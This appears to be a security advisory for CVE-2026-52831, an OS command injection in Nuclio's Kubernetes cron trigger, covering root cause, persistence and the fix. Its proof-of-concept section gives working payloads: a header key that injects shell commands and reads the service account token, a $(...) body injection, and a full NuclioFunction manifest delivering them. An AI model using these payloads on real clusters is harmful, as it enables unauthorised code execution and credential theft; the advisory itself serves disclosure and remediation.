critical · 10CVE-2026-52831Jul 8, 2026

CVE-2026-52831: Nuclio Cron Trigger OS Command Injection (Persistent RCE)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Nuclio's Kubernetes cron trigger builds a shell command string from unsanitized user input, letting anyone with Dashboard access run arbitrary commands inside CronJob pods on every scheduled tick…

Packagegithub.com/nuclio/nuclio
Ecosystemgo
Affected< 0.0.0-20260601075854-3356b86a8bfa
Fixed in0.0.0-20260601075854-3356b86a8bfa

The problem

When a NuclioFunction with a cron trigger is reconciled, the controller calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go and builds a curl invocation string from trigger attributes. That string is stored verbatim as the args of a Kubernetes CronJob container running /bin/sh -c <command>.

Two fields flow into the string without adequate sanitization. Header keys from event.headers are interpolated directly inside double-quoted shell arguments, so a key containing " breaks quoting context and injects raw shell syntax. The event body is passed through strconv.Quote, which escapes " and \ but not $, (, or ), leaving command substitution fully intact.

Because the resulting CronJob carries no ownerReferences, Kubernetes cascade deletion does not remove it, and an injected CronJob keeps firing even after the source function is deleted.

Proof of concept

A working proof-of-concept for CVE-2026-52831 in github.com/nuclio/nuclio, with the exact payload below.

bash
# Path A: header key injection
# Set event.headers key to:
X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "

# Resulting /bin/sh -c argument (from verified CronJob .args):
curl --silent  --header "X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo ": marker" ...

# Path B: body command substitution
# Set event.body to:
$(id 1>&2; echo BODY_INJECTION_PROOF)

# Resulting /bin/sh -c argument (from verified CronJob .args):
echo "$(id 1>&2; echo BODY_INJECTION_PROOF)" > /tmp/eventbody.out && curl ...

# NuclioFunction manifest triggering Path A:
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: rce-demo
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            'X-Inject"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker

Path A works because headerKey is concatenated directly inside a fmt.Sprintf double-quoted shell argument with no escaping at lazy.go:2150. A key containing " terminates the quoting context, and the remainder is parsed as raw shell syntax by /bin/sh.

Path B works because strconv.Quote wraps the body in double quotes and escapes " and \, but Go's standard library makes no guarantee about shell metacharacters. The characters $, (, and ) pass through untouched, so $(cmd) becomes the literal string "$(cmd)" in Go, which /bin/sh expands as command substitution at execution time (lazy.go:2188-2192).

The root cause in both cases is the same: building a shell command by string concatenation and then passing it to /bin/sh -c (the sink at lazy.go:2212). The persistence issue is a separate design flaw: the controller explicitly notes that CronJobs have no ownerReferences, so Kubernetes cascade deletion cannot clean them up automatically.

The fix

Upgrade to Nuclio 1.16.4 (patch commit 3356b86a8bfa). The preferred fix is to replace the /bin/sh -c <string> invocation with an exec-format argument list, passing each curl flag as a separate element of []string so the shell is never involved and no quoting or escaping is needed.

If a shell invocation must be retained, all user-supplied values must be properly POSIX-quoted before interpolation. As a temporary workaround, restrict Dashboard access to trusted networks and avoid creating functions with kind: cron triggers.

Reporter not attributed.

References: [1][2][3][4]

Related research